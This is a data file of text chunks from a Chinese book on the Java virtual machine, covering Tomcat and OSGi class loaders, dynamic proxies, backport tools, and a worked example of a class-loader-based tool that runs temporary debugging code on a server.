    {"text": "本例中的类加载结构在Tomcat 6以前是它默认的类加载器结构，在Tomcat 6及之后的版本简化了默认的目录结构，只有指定了tomcat/conf/catalina.properties配置文件的server.loader和share.loader项后才会真正建立Catalina类加载器和Shared类加载器的实例，否则会用到这两个类加载器的地方都会用Common类加载器的实例代替，而默认的配置文件中并没有设置这两个loader项，所以Tomcat 6之后也顺理成章地把/common、/server和/shared这3个目录默认合并到一起变成1个/lib目录，这个目录里的类库相当于以前/common目录中类库的作用，是Tomcat的开发团队为了简化大多数的部署场景所做的一项易用性改进。 如果默认设置不能满足需要，用户可以通过修改配置文件指定server.loader和share.loader的方式重新启用原来完整的加载器架构。"},
    {"text": "如果读者阅读完上面的案例后，毫不费力就能完全理解Tomcat设计团队这样布置加载器架构的用意，这就说明你已经大致掌握了类加载器“主流”的使用方式，那么笔者不妨再提一个问题让各位读者思考一下：前面曾经提到过一个场景，如果有10个Web应用程序都是用Spring来进行组织和管理的话，可以把Spring放到Common或Shared目录下让这些程序共享。"},
    {"text": "Spring要对用户程序的类进行管理，自然要能访问到用户程序的类，而用户的程序显然是放在/WebApp/WEB-INF目录中的。 那么被Common类加载器或Shared类加载器加载的Spring如何访问并不在其加载范围内的用户程序呢？"},
    {"text": "9.2.2 OSGi：灵活的类加载器架构 曾经在Java程序社区中流传着这么一个观点：“学习Java EE规范，推荐去看JBoss源码； 学习类加载器的知识，就推荐去看OSGi源码。 ”尽管“Java EE规范”和“类加载器的知识”并不是一个对等的概念，不过，既然这个观点能在部分程序员群体中流传开来，也从侧面说明了OSGi对类加载器的运用确实有其独到之处。"},
    {"text": "OSGi [1] （Open Service Gateway Initiative）是OSGi联盟（OSGi Alliance）制订的一个基于Java语言的动态模块化规范（在JDK 9引入的JPMS是静态的模块系统），这个规范最初由IBM、爱立信等公司联合发起，在早期连Sun公司都有参与。"},
    {"text": "目的是使服务提供商通过住宅网关为各种家用智能设备提供服务，后来这个规范在Java的其他技术领域也有相当不错的发展，现在已经成为Java世界中“事实上”的动态模块化标准，并且已经有了Equinox、Felix等成熟的实现。"},
    {"text": "根据OSGi联盟主页上的宣传资料，OSGi现在的重点应用在智慧城市、智慧农业、工业4.0这些地方，而在传统Java程序员中最知名的应用案例可能就数Eclipse IDE了，另外，还有许多大型的软件平台和中间件服务器都基于或声明将会基于OSGi规范来实现，如IBM Jazz平台、GlassFish服务器、JBoss OSGi等。"},
    {"text": "在OSGi里面，Bundle之间的依赖关系从传统的上层模块依赖底层模块转变为平级模块之间的依赖，而且类库的可见性能得到非常精确的控制，一个模块里只有被Export过的Package才可能被外界访问，其他的Package和Class将会被隐藏起来。"},
    {"text": "以上这些静态的模块化特性原本也是OSGi的核心需求之一，不过它和后来出现的Java的模块化系统互相重叠了，所以OSGi现在着重向动态模块化系统的方向发展。 在今天，通常引入OSGi的主要理由是基于OSGi架构的程序很可能（只是很可能，并不是一定会，需要考虑热插拔后的内存管理、上下文状态维护问题等复杂因素）会实现模块级的热插拔功能，当程序升级更新或调试除错时，可以只停用、重新安装然后启用程序的其中一部分，这对大型软件、企业级程序开发来说是一个非常有诱惑力的特性，譬如Eclipse中安装、卸载、更新插件而不需要重启动，就使用到了这种特性。"},
    {"text": "例如，某个Bundle声明了一个它依赖的Package，如果有其他Bundle声明了发布这个Package后，那么所有对这个Package的类加载动作都会委派给发布它的Bundle类加载器去完成。 不涉及某个具体的Package时，各个Bundle加载器都是平级的关系，只有具体使用到某个Package和Class的时候，才会根据Package导入导出定义来构造Bundle间的委派和依赖。"},
    {"text": "如果一个类存在于Bundle的类库中但是没有被Export，那么这个Bundle的类加载器能找到这个类，但不会提供给其他Bundle使用，而且OSGi框架也不会把其他Bundle的类加载请求分配给这个Bundle来处理。"},
    {"text": "我们可以举一个更具体些的简单例子来解释上面的规则，假设存在Bundle A、Bundle B、Bundle C3个模块，并且这3个Bundle定义的依赖关系如下所示。"},
    {"text": "·Bundle A：声明发布了packageA，依赖了java.*的包； ·Bundle B：声明依赖了packageA和packageC，同时也依赖了java.*的包； ·Bundle C：声明发布了packageC，依赖了packageA。"},
    {"text": "图9-2 OSGi的类加载器架构 由于没有涉及具体的OSGi实现，图9-2中的类加载器都没有指明具体的加载器实现，它只是一个体现了加载器之间关系的概念模型，并且只是体现了OSGi中最简单的加载器委派关系。 一般来说，在OSGi里，加载一个类可能发生的查找行为和委派关系会远远比图9-2中显示的复杂，类加载时可能进行的查找规则如下： ·以java.*开头的类，委派给父类加载器加载。"},
    {"text": "·否则，委派列表名单内的类，委派给父类加载器加载。 ·否则，Import列表中的类，委派给Export这个类的Bundle的类加载器加载。 ·否则，查找当前Bundle的Classpath，使用自己的类加载器加载。 ·否则，查找是否在自己的Fragment Bundle中，如果是则委派给Fragment Bundle的类加载器加载。 ·否则，查找Dynamic Import列表的Bundle，委派给对应Bundle的类加载器加载。"},
    {"text": "从图9-2中还可以看出，在OSGi中，加载器之间的关系不再是双亲委派模型的树形结构，而是已经进一步发展成一种更为复杂的、运行时才能确定的网状结构。"},
    {"text": "笔者曾经参与过将一个非OSGi的大型系统向Equinox OSGi平台迁移的项目，由于项目规模和历史原因，代码模块之间的依赖关系错综复杂，勉强分离出各个模块的Bundle后，发现在高并发环境下经常出现死锁。 我们很容易就找到了死锁的原因：如果出现了Bundle A依赖Bundle B的Package B，而Bundle B又依赖了Bundle A的Package A，这两个Bundle进行类加载时就有很高的概率发生死锁。 具体情况是当Bundle A加载Package B的类时，首先需要锁定当前类加载器的实例对象（java.lang.ClassLoader.loadClass()是一个同步方法），然后把请求委派给Bundle B的加载器处理，但如果这时Bundle B也正好想加载Package A的类，它会先锁定自己的加载器再去请求Bundle A的加载器处理，这样两个加载器都在等待对方处理自己的请求，而对方处理完之前自己又一直处于同步锁定的状态，因此它们就互相死锁，永远无法完成加载请求了。"},
    {"text": "Equinox的Bug List中有不少关于这类问题的Bug [3] ，也提供了一个以牺牲性能为代价的解决方案——用户可以启用osgi.classloader.singleThreadLoads参数来按单线程串行化的方式强制进行类加载动作。 在JDK 7时才终于出现了JDK层面的解决方案，类加载器架构进行了一次专门的升级，在ClassLoader中增加了registerAsParallelCapable方法对可并行的类加载进行注册声明，把锁的级别从ClassLoader对象本身，降低为要加载的类名这个级别，目的是从底层避免以上这类死锁出现的可能。"},
    {"text": "9.2.3 字节码生成技术与动态代理的实现 “字节码生成”并不是什么高深的技术，读者在看到“字节码生成”这个标题时也先不必去想诸如Javassist、CGLib、ASM之类的字节码类库，因为JDK里面的Javac命令就是字节码生成技术的“老祖宗”，并且Javac也是一个由Java语言写成的程序，它的代码存放在OpenJDK的jdk.compiler\\share\\classes\\com\\sun\\tools\\javac目录中 [1] 。"},
    {"text": "在Java世界里面除了Javac和字节码类库外，使用到字节码生成的例子比比皆是，如Web服务器中的JSP编译器，编译时织入的AOP框架，还有很常用的动态代理技术，甚至在使用反射的时候虚拟机都有可能会在运行时生成字节码来提高执行速度。"},
    {"text": "相信许多Java开发人员都使用过动态代理，即使没有直接使用过java.lang.reflect.Proxy或实现过java.lang.reflect.InvocationHandler接口，应该也用过Spring来做过Bean的组织管理。 如果使用过Spring，那大多数情况应该已经不知不觉地用到动态代理了，因为如果Bean是面向接口编程，那么在Spring内部都是通过动态代理的方式来对Bean进行增强的。 动态代理中所说的“动态”，是针对使用Java代码实际编写了代理类的“静态”代理而言的，它的优势不在于省去了编写代理类那一点编码工作量，而是实现了可以在原始类和接口还未知的时候，就确定代理类的代理行为，当代理类与原始类脱离直接联系后，就可以很灵活地重用于不同的应用场景之中。 代码清单9-1演示了一个最简单的动态代理的用法，原始的代码逻辑是打印一句“hello world”，代理类的逻辑是在原始类方法执行前打印一句“welcome”。"},
    {"text": "代码清单9-1 动态代理的简单示例 public class DynamicProxyTest { interface IHello { void sayHello(); } static class Hello implements IHello { @Override public void sayHello() { System.out.println(\"hello world\"); } } static class DynamicProxy implements InvocationHandler { Object originalObj; Object bind(Object originalObj) { this.originalObj = originalObj; return Proxy.newProxyInstance(originalObj.getClass().getClassLoader(), originalObj.getClass().getInterfaces(), this); } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println(\"welcome\"); return method.invoke(originalObj, args); } } public static void main(String[] args) { IHello hello = (IHello) new DynamicProxy().bind(new Hello()); hello.sayHello(); } } 运行结果如下： welcome hello world 在上述代码里，唯一的“黑匣子”就是Proxy::newProxyInstance()方法，除此之外再没有任何特殊之处。"},
    {"text": "跟踪这个方法的源码，可以看到程序进行过验证、优化、缓存、同步、生成字节码、显式类加载等操作，前面的步骤并不是我们关注的重点，这里只分析它最后调用sun.misc.ProxyGenerator::generateProxyClass()方法来完成生成字节码的动作，这个方法会在运行时产生一个描述代理类的字节码byte[]数组。 如果想看一看这个在运行时产生的代理类中写了些什么，可以在main()方法中加入下面这句： System.getProperties().put(\"sun.misc.ProxyGenerator.saveGeneratedFiles\", \"true\"); 加入这句代码后再次运行程序，磁盘中将会产生一个名为“$Proxy0.class”的代理类Class文件，反编译后可以看见如代码清单9-2所示的内容： 代码清单9-2 反编译的动态代理类的代码 package org.fenixsoft.bytecode; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; import java.lang.reflect.UndeclaredThrowableException; public final class $Proxy0 extends Proxy implements DynamicProxyTest.IHello { private static Method m3; private static Method m1; private static Method m0; private static Method m2; public $Proxy0(InvocationHandler paramInvocationHandler) throws { super(paramInvocationHandler); } public final void sayHello() throws { try { this.h.invoke(this, m3, null); return; } catch (RuntimeException localRuntimeException) { throw localRuntimeException; } catch (Throwable localThrowable) { throw new UndeclaredThrowableException(localThrowable); } } // 此处由于版面原因，省略equals()、hashCode()、toString()3个方法的代码 // 这3个方法的内容与sayHello()非常相似。 static { try { m3 = Class.forName(\"org.fenixsoft.bytecode.DynamicProxyTest$IHello\").getMethod(\"sayHello\", new Class[0]); m1 = Class.forName(\"java.lang.Object\").getMethod(\"equals\", new Class[] { Class.forName(\"java.lang.Object\") }); m0 = Class.forName(\"java.lang.Object\").getMethod(\"hashCode\", new Class[0]); m2 = Class.forName(\"java.lang.Object\").getMethod(\"toString\", new Class[0]); return; } catch (NoSuchMethodException localNoSuchMethodException) { throw new NoSuchMethodError(localNoSuchMethodException.getMessage()); } catch (ClassNotFoundException localClassNotFoundException) { throw new NoClassDefFoundError(localClassNotFoundException.getMessage()); } } } 这个代理类的实现代码也很简单，它为传入接口中的每一个方法，以及从java.lang.Object中继承来的equals()、hashCode()、toString()方法都生成了对应的实现，并且统一调用了InvocationHandler对象的invoke()方法（代码中的“this.h”就是父类Proxy中保存的InvocationHandler实例变量）来实现这些方法的内容，各个方法的区别不过是传入的参数和Method对象有所不同而已，所以无论调用动态代理的哪一个方法，实际上都是在执行InvocationHandler::invoke()中的代理逻辑。 这个例子中并没有讲到generateProxyClass()方法具体是如何产生代理类“$Proxy0.class”的字节码的，大致的生成过程其实就是根据Class文件的格式规范去拼装字节码，但是在实际开发中，以字节为单位直接拼装出字节码的应用场合很少见，这种生成方式也只能产生一些高度模板化的代码。"},
    {"text": "如果读者对动态代理的字节码拼装过程确实很感兴趣，可以在OpenJDK的java.base\\share\\classes\\java\\lang\\reflect目录下找到sun.misc.ProxyGenerator的源码。"},
    {"text": "9.2.4 Backport工具：Java的时光机器 一般来说，以“做项目”为主的软件公司比较容易更新技术，在下一个项目中换一个技术框架、升级到最时髦的JDK版本，甚至把Java换成C#、Golang来开发都是有可能的。"},
    {"text": "但是当公司发展壮大，技术有所积累，逐渐成为以“做产品”为主的软件公司后，自主选择技术的权利就会逐渐丧失，因为之前积累的代码和技术都是用真金白银砸出来的，一个稳健的团队也不会随意地改变底层的技术。"},
    {"text": "在Java世界里，每一次JDK大版本的发布，都会伴随着规模不等或大或小的技术革新，而对Java程序编写习惯改变最大的，肯定是那些对Java语法做出重大改变的版本，譬如JDK 5时加入的自动装箱、泛型、动态注解、枚举、变长参数、遍历循环（foreach循环）；"},
    {"text": "事实上在没有这些语法特性的年代，Java程序也照样能写，但是现在回头看来，上述每一种语法的改进几乎都是“必不可少”的，如同用惯了32寸液晶、4K分辨率显示器的程序员，就很难再在19寸显示器、1080P分辨率的显示器上编写代码了。"},
    {"text": "幸好，我们没有办法把19寸显示器变成32寸的，但却可以跨越JDK版本之间的沟壑，把高版本JDK中编写的代码放到低版本JDK环境中去部署使用。"},
    {"text": "为了解决这个问题，一种名为“Java逆向移植”的工具（Java Backporting Tools）应运而生，Retrotranslator [1] 和Retrolambda是这类工具中的杰出代表。 Retrotranslator的作用是将JDK 5编译出来的Class文件转变为可以在JDK 1.4或1.3上部署的版本，它能很好地支持自动装箱、泛型、动态注解、枚举、变长参数、遍历循环、静态导入这些语法特性，甚至还可以支持JDK 5中新增的集合改进、并发包及对泛型、注解等的反射操作。 Retrolambda [2] 的作用与Retrotranslator是类似的，目标是将JDK 8的Lambda表达式和try-resources语法转变为可以在JDK 5、JDK 6、JDK 7中使用的形式，同时也对接口默认方法提供了有限度的支持。"},
    {"text": "譬如JDK 1.2时代引入的java.util.Collections等一系列集合类，在JDK 5时代引入的java.util.concurrent并发包、在JDK 7时引入的java.lang.invoke包，等等。"},
    {"text": "这种改进被称作语法糖，如自动装箱拆箱，实际上就是Javac编译器在程序中使用到包装对象的地方自动插入了很多Integer.valueOf()、Float.valueOf()之类的代码；"},
    {"text": "4）需要在JDK整体结构层面进行支持的改进，典型的如JDK 9时引入的Java模块化系统，它就涉及了JDK结构、Java语法、类加载和连接过程、Java虚拟机等多个层面。"},
    {"text": "如JDK 5中实现的JSR-133 [4] 规范重新定义的Java内存模型（Java Memory Model，JMM），以及在JDK 7、JDK 11、JDK 12中新增的G1、ZGC和Shenandoah收集器之类的改动，这种改动对于程序员编写代码基本是透明的，只会在程序运行时产生影响。"},
    {"text": "上述的5类新功能中，逆向移植工具能比较完美地模拟了前两类，从第3类开始就逐步深入地涉及了直接在虚拟机内部实现的改进了，这些功能一般要么是逆向移植工具完全无能为力，要么是不能完整地或者在比较良好的运行效率上完成全部模拟。"},
    {"text": "在能够较好模拟的前两类功能中，第一类模拟相对更容易实现一些，如JDK 5引入的java.util.concurrent包，实际是由多线程编程的大师Doug Lea开发的一套并发包，在JDK 5出现之前就已经存在（那时候名字叫作dl.util.concurrent，引入JDK时由作者和JDK开发团队共同进行了一些改进），所以要在旧的JDK中支持这部分功能，以独立类库的方式便可实现。"},
    {"text": "Retrotranslator中就附带了一个名叫“backport-util-concurrent.jar”的类库（由另一个名为“Backport to JSR 166”的项目所提供）来代替JDK 5的并发包。"},
    {"text": "由于组成Class文件的字节码指令数量并没有改变，所以无论是JDK 1.3、JDK 1.4还是JDK 5，能用字节码表达的语义范围应该是一致的。 当然，肯定不会是简单地把Class的文件版本号从49.0改回48.0就能解决问题了，虽然字节码指令的数量没有变化，但是元数据信息和一些语法支持的内容还是要做相应的修改。 以枚举为例，尽管在JDK 5中增加了enum关键字，但是Class文件常量池的CONSTANT_Class_info类型常量并没有发生任何语义变化，仍然是代表一个类或接口的符号引用，没有加入枚举，也没有增加过“CONSTANT_Enum_info”之类的“枚举符号引用”常量。 所以使用enum关键字定义常量，尽管从Java语法上看起来与使用class关键字定义类、使用interface关键字定义接口是同一层次的，但实际上这是由Javac编译器做出来的假象，从字节码的角度来看，枚举仅仅是一个继承于java.lang.Enum、自动生成了values()和valueOf()方法的普通Java类而已。 Retrotranslator对枚举所做的主要处理就是把枚举类的父类从“java.lang.Enum”替换为它运行时类库中包含的“net.sf.retrotranslator.runtime.java.lang.Enum_”，然后再在类和字段的访问标志中抹去ACC_ENUM标志位。"},
    {"text": "可以想象既然两个父类实现都不一样，values()和valueOf()的方法自然需要重写，常量池需要引入大量新的来自父类的符号引用，这些都是实现细节。"},
    {"text": "图9-3是一个使用JDK 5编译的枚举类与被Retrotranslator转换处理后的字节码的对比图。 图9-3 Retrotranslator处理前后的枚举类字节码对比 用Retrolambda模拟JDK 8的Lambda表达式属于涉及字节码改动的第三类情况，Java为支持Lambda会用到新的invokedynamic字节码指令，但幸好这并不是必须的，只是基于效率的考量。 在JDK 8之前，Lambda表达式就已经被其他运行在Java虚拟机的编程语言（如Scala）广泛使用了，那时候是怎么生成字节码的现在照着做就是，不使用invokedynamic，除了牺牲一点效率外，可行性方面并没有太大的障碍。"},
    {"text": "Retrolambda的Backport过程实质上就是生成一组匿名内部类来代替Lambda，里面会做一些优化措施，譬如采用单例来保证无状态的Lambda表达式不会重复创建匿名类的对象。 有一些Java IDE工具，如IntelliJ IDEA和Eclipse里会包含将此过程反过来使用的功能特性，在低版本Java里把匿名内部类显示成Lambda语法的样子，实际存在磁盘上的源码还是匿名内部类形式的，只是在IDE里可以把它显示为Lambda表达式的语法，让人阅读起来比较简洁而已。"},
    {"text": "9.3 实战：自己动手实现远程执行功能 不知道读者在做程序维护的时候是否遇到过这类情形：排查问题的过程中，想查看内存中的一些参数值，却苦于没有方法把这些值输出到界面或日志中。又或者定位到某个缓存数据有问题，由于缺少缓存的统一管理界面，不得不重启服务才能清理掉这个缓存。类似的需求有一个共同的特点，那就是只要在服务中执行一小段程序代码，就可以定位或排除问题，但就是偏偏找不到可以让服务器执行临时代码的途径，让人恨不得在服务器上装个后门。这是项目运维中的常见问题，通常解决类问题有以下几种途径： 1）可以使用BTrace [1] 这类JVMTI工具去动态修改程序中某一部分的运行代码，这部分在第4章有简要的介绍，类似的JVMTI工具还有阿里巴巴的Arthas [2] 等。 2）使用JDK 6之后提供了Compiler API，可以动态地编译Java程序，这样虽然达不到动态语言的灵活度，但让服务器执行临时代码的需求是可以得到解决的。 3）也可以通过“曲线救国”的方式来做到，譬如写一个JSP文件上传到服务器，然后在浏览器中运行它，或者在服务端程序中加入一个BeanShell Script、JavaScript等的执行引擎（如Mozilla Rhino [3] ）去执行动态脚本。 4）在应用程序中内置动态执行的功能。 在本章的实战部分，我们将使用前面学到的关于类加载及虚拟机执行子系统的知识去完成在服务端执行临时代码的功能。 [1] 网站：https://github.com/btraceio/btrace。 [2] 网站：https://github.com/alibaba/arthas。 [3] 网站：http://www.mozilla.org/rhino/，Rhino已被收编入JDK 6中。 9.3.1 目标 首先，在实现“在服务端执行临时代码”这个需求之前，先来明确一下本次实战的具体目标，我们希望最终的产品是这样的： ·不依赖某个JDK版本才加入的特性（包括JVMTI），能在目前还被普遍使用的JDK中部署，只要是使用JDK 1.4以上的JDK都可以运行。 ·不改变原有服务端程序的部署，不依赖任何第三方类库。 ·不侵入原有程序，即无须改动原程序的任何代码。也不会对原有程序的运行带来任何影响。 ·考虑到BeanShell Script或JavaScript等脚本与Java对象交互起来不太方便，“临时代码”应该直接支持Java语言。 ·“临时代码”应当具备足够的自由度，不需要依赖特定的类或实现特定的接口。这里写的是“不需要”而不是“不可以”，当“临时代码”需要引用其他类库时也没有限制，只要服务端程序能使用的类型和接口，临时代码都应当能直接引用。 ·“临时代码”的执行结果能返回到客户端，执行结果可以包括程序中输出的信息及抛出的异常等。 看完上面列出的目标，读者觉得完成这个需求需要做多少工作量呢？也许答案比大多数人所想的都要简单一些：5个类，250行代码（含注释），大约一个半小时左右的开发时间就可以了，现在就开始编写程序吧！ 9.3.2 思路 在程序实现的过程中，我们需要解决以下3个问题： ·如何编译提交到服务器的Java代码？ ·如何执行编译之后的Java代码？ ·如何收集Java代码的执行结果？ 对于第一个问题，我们有两种方案可以选择。一种在服务器上编译，在JDK 6以后可以使用Compiler API，在JDK 6以前可以使用tools.jar包（在JAVA_HOME/lib目录下）中的com.sun.tools.Javac.Main类来编译Java文件，它们其实和直接使用Javac命令来编译是一样的。这种思路的缺点是引入了额外的依赖，而且把程序绑死在特定的JDK上了，要部署到其他公司的JDK中还得把tools.jar带上（虽然JRockit和J9虚拟机也有这个JAR包，但它总不是标准所规定必须存在的）。另外一种思路是直接在客户端编译好，把字节码而不是Java代码传到服务端，这听起来好像有点投机取巧，一般来说确实不应该假定客户端一定具有编译代码的能力，也不能假定客户端就有编译出产品所需的依赖项。但是既然程序员会写Java代码去给服务端排查问题，那么很难想象他的机器上会连编译Java程序的环境都没有。 对于第二个问题：要执行编译后的Java代码，让类加载器加载这个类生成一个Class对象，然后反射调用一下某个方法就可以了（因为不实现任何接口，我们可以借用一下Java中约定俗成的“main()”方法）。但我们还应该考虑得更周全些：一段程序往往不是编写、运行一次就能达到效果，同一个类可能要被反复地修改、提交、执行。另外，提交上去的类要能访问到服务端的其他类库才行。还有就是既然提交的是临时代码，那提交的Java类在执行完后就应当能被卸载和回收掉。 最后一个问题，我们想把程序往标准输出（System.out）和标准错误输出（System.err）中打印的信息收集起来。但标准输出设备是整个虚拟机进程全局共享的资源，如果使用System.setOut()/System.setErr()方法把输出流重定向到自己定义的PrintStream对象上固然可以收集到输出信息，但也会对原有程序产生影响：会把其他线程向标准输出中打印的信息也收集了。虽然这些并不是不能解决的问题，不过为了达到完全不影响原程序的目的，我们可以采用另外一种办法：直接在执行的类中把对System.out的符号引用替换为我们准备的PrintStream的符号引用，依赖前面学习到的知识，做到这一点并不困难。"},
    {"text": "第一个类用于实现“同一个类的代码可以被多次加载”这个需求，即用于解决9.2节列举的第二个问题的HotSwapClassLoader，具体程序如代码清单9-3所示。"},
    {"text": "HotSwapClassLoader所做的事情仅仅是公开父类（即java.lang.ClassLoader）中的protected方法defineClass()，我们将会使用这个方法把提交执行的Java类的byte[]数组转变为Class对象。 HotSwapClassLoader中并没有重写loadClass()或findClass()方法，因此如果不算外部手工调用loadByte()方法的话，这个类加载器的类查找范围与它的父类加载器是完全一致的，在被虚拟机调用时，它会按照双亲委派模型交给父类加载。 构造函数中指定为加载HotSwapClassLoader类的类加载器作为父类加载器，这一步是实现提交的执行代码可以访问服务端引用类库的关键，下面我们来看看代码清单9-3。 代码清单9-3 HotSwapClassLoader的实现 /** * 为了多次载入执行类而加入的加载器 * 把defineClass方法开放出来，只有外部显式调用的时候才会使用到loadByte方法 * 由虚拟机调用时，仍然按照原有的双亲委派规则使用loadClass方法进行类加载 * * @author zzm */ public class HotSwapClassLoader extends ClassLoader { public HotSwapClassLoader() { super(HotSwapClassLoader.class.getClassLoader()); } public Class loadByte(byte[] classByte) { return defineClass(null, classByte, 0, classByte.length); } } 第二个类是实现将java.lang.System替换为我们自己定义的HackSystem类的过程，它直接修改符合Class文件格式的byte[]数组中的常量池部分，将常量池中指定内容的CONSTANT_Utf8_info常量替换为新的字符串，具体代码如下面的代码清单9-4所示。"},
    {"text": "ClassModifier中涉及对byte[]数组操作的部分，主要是将byte[]与int和String互相转换，以及把对byte[]数据的替换操作封装在代码清单9-5所示的ByteUtils中。"},
    {"text": "经过ClassModifier处理后的byte[]数组才会传给HotSwapClassLoader.loadByte()方法进行类加载，byte[]数组在这里替换符号引用之后，与客户端直接在Java代码中引用HackSystem类再编译生成的Class是完全一样的。"},
    {"text": "这样的实现既避免了客户端编写临时执行代码时要依赖特定的类（不然无法引入HackSystem），又避免了服务端修改标准输出后影响到其他程序的输出。"},
    {"text": "代码清单9-4 ClassModifier的实现 /** * 修改Class文件，暂时只提供修改常量池常量的功能 * @author zzm */ public class ClassModifier { /** * Class文件中常量池的起始偏移 */ private static final int CONSTANT_POOL_COUNT_INDEX = 8; /** * CONSTANT_Utf8_info常量的tag标志 */ private static final int CONSTANT_Utf8_info = 1; /** * 常量池中11种常量所占的长度，CONSTANT_Utf8_info型常量除外，因为它不是定长的 */ private static final int[] CONSTANT_ITEM_LENGTH = { -1, -1, -1, 5, 5, 9, 9, 3, 3, 5, 5, 5, 5 }; private static final int u1 = 1; private static final int u2 = 2; private byte[] classByte; public ClassModifier(byte[] classByte) { this.classByte = classByte; } /** * 修改常量池中CONSTANT_Utf8_info常量的内容 * @param oldStr 修改前的字符串 * @param newStr 修改后的字符串 * @return 修改结果 */ public byte[] modifyUTF8Constant(String oldStr, String newStr) { int cpc = getConstantPoolCount(); int offset = CONSTANT_POOL_COUNT_INDEX + u2; for (int i = 0; i < cpc; i++) { int tag = ByteUtils.bytes2Int(classByte, offset, u1); if (tag == CONSTANT_Utf8_info) { int len = ByteUtils.bytes2Int(classByte, offset + u1, u2); offset += (u1 + u2); String str = ByteUtils.bytes2String(classByte, offset, len); if (str.equalsIgnoreCase(oldStr)) { byte[] strBytes = ByteUtils.string2Bytes(newStr); byte[] strLen = ByteUtils.int2Bytes(newStr.length(), u2); classByte = ByteUtils.bytesReplace(classByte, offset - u2, u2, strLen); classByte = ByteUtils.bytesReplace(classByte, offset, len, strBytes); return classByte; } else { offset += len; } } else { offset += CONSTANT_ITEM_LENGTH[tag]; } } return classByte; } /** * 获取常量池中常量的数量 * @return 常量池数量 */ public int getConstantPoolCount() { return ByteUtils.bytes2Int(classByte, CONSTANT_POOL_COUNT_INDEX, u2); } } 代码清单9-5 ByteUtils的实现 /** * Bytes数组处理工具 * @author */ public class ByteUtils { public static int bytes2Int(byte[] b, int start, int len) { int sum = 0; int end = start + len; for (int i = start; i < end; i++) { int n = ((int) b[i]) & 0xff; n <<= (--len) * 8; sum = n + sum; } return sum; } public static byte[] int2Bytes(int value, int len) { byte[] b = new byte[len]; for (int i = 0; i < len; i++) { b[len - i - 1] = (byte) ((value >> 8 * i) & 0xff); } return b; } public static String bytes2String(byte[] b, int start, int len) { return new String(b, start, len); } public static byte[] string2Bytes(String str) { return str.getBytes(); } public static byte[] bytesReplace(byte[] originalBytes, int offset, int len, byte[] replaceBytes) { byte[] newBytes = new byte[originalBytes.length + (replaceBytes.length - len)]; System.arraycopy(originalBytes, 0, newBytes, 0, offset); System.arraycopy(replaceBytes, 0, newBytes, offset, replaceBytes.length); System.arraycopy(originalBytes, offset + len, newBytes, offset + replaceBytes.length, originalBytes.length - offset - len); return newBytes; } } 最后一个类就是前面提到过的用来代替java.lang.System的HackSystem，这个类中的方法看起来不少，但其实除了把out和err两个静态变量改成使用ByteArrayOutputStream作为打印目标的同一个PrintStream对象，以及增加了读取、清理ByteArrayOutputStream中内容的getBufferString()和clearBuffer()方法外，就再没有其他新鲜的内容了。"},
    {"text": "保留这些方法的目的，是为了在Sytem被替换成HackSystem之后，保证执行代码中调用的System的其余方法仍然可以继续使用，HackSystem的实现如代码清单9-6所示。"},
    {"text": "代码清单9-6 HackSystem的实现 /** * 为Javaclass劫持java.lang.System提供支持 * 除了out和err外，其余的都直接转发给System处理 * * @author zzm */ public class HackSystem { public final static InputStream in = System.in; private static ByteArrayOutputStream buffer = new ByteArrayOutputStream(); public final static PrintStream out = new PrintStream(buffer); public final static PrintStream err = out; public static String getBufferString() { return buffer.toString(); } public static void clearBuffer() { buffer.reset(); } public static void setSecurityManager(final SecurityManager s) { System.setSecurityManager(s); } public static SecurityManager getSecurityManager() { return System.getSecurityManager(); } public static long currentTimeMillis() { return System.currentTimeMillis(); } public static void arraycopy(Object src, int srcPos, Object dest, int destPos, int length) { System.arraycopy(src, srcPos, dest, destPos, length); } public static int identityHashCode(Object x) { return System.identityHashCode(x); } // 下面所有的方法都与java.lang.System的名称一样 // 实现都是字节转调System的对应方法 // 因版面原因，省略了其他方法 } 4个支持类已经讲解完毕，我们来看看最后一个类JavaclassExecuter，它是提供给外部调用的入口，调用前面几个支持类组装逻辑，完成类加载工作。"},
    {"text": "JavaclassExecuter只有一个execute()方法，用输入的符合Class文件格式的byte[]数组替换掉java.lang.System的符号引用后，使用HotSwapClassLoader加载生成一个Class对象，由于每次执行execute()方法都会生成一个新的类加载器实例，因此同一个类可以实现重复加载。"},
    {"text": "然后反射调用这个Class对象的main()方法，如果期间出现任何异常，将异常信息打印到HackSystem.out中，最后把缓冲区中的信息作为方法的结果来返回。"},
    {"text": "代码清单9-7 JavaclassExecuter的实现 /** * Javaclass执行工具 * * @author zzm */ public class JavaclassExecuter { /** * 执行外部传过来的代表一个Java类的Byte数组<br> * 将输入类的byte数组中代表java.lang.System的CONSTANT_Utf8_info常量修改为劫持后的HackSystem类 * 执行方法为该类的static main(String[] args)方法，输出结果为该类向System.out/err输出的信息 * @param classByte 代表一个Java类的Byte数组 * @return 执行结果 */ public static String execute(byte[] classByte) { HackSystem.clearBuffer(); ClassModifier cm = new ClassModifier(classByte); byte[] modiBytes = cm.modifyUTF8Constant(\"java/lang/System\", \"org/fenixsoft/classloading/execute/HackSystem\"); HotSwapClassLoader loader = new HotSwapClassLoader(); Class clazz = loader.loadByte(modiBytes); try { Method method = clazz.getMethod(\"main\", new Class[] { String[].class }); method.invoke(null, new String[] { null }); } catch (Throwable e) { e.printStackTrace(HackSystem.out); } return HackSystem.getBufferString(); } }"},
    {"text": "9.3.4 验证 远程执行功能的编码到此就完成了，接下来就要检验一下我们的劳动成果。只是测试的话，任意写一个Java类，内容无所谓，只要向System.out输出信息即可，取名为TestClass，放到服务器C盘的根目录中。然后建立一个JSP文件写上如代码清单9-8所示的内容，就可以在浏览器中看到这个类的运行结果了。 代码清单9-8 测试JSP <%@ page import=\"java.lang.*\" %> <%@ page import=\"java.io.*\" %> <%@ page import=\"org.fenixsoft.classloading.execute.*\" %> <% InputStream is = new FileInputStream(\"c:/TestClass.class\"); byte[] b = new byte[is.available()]; is.read(b); is.close(); out.println(\"<textarea style='width:1000;height=800'>\"); out.println(JavaclassExecuter.execute(b)); out.println(\"</textarea>\"); %> 当然，上面的做法只是用于测试和演示，实际使用这个JavaExecuter执行器的时候，如果还要手工复制一个Class文件到服务器上就完全失去意义了，总得给它配一个Class文件上传功能，这是一件很容易做到的事情。 在工作中，笔者进一步给这个执行器写了一个“外壳”，这是一个Eclipse插件，可以把Java文件编译后传输到服务器中，然后把执行器的返回结果输出到Eclipse的Console窗口里，这样就可以在有灵感的时候随时写几行调试代码，放到测试环境的服务器上立即运行了。实现虽然简单，但效果很不错，对调试问题非常有用，如图9-4所示。 图9-4 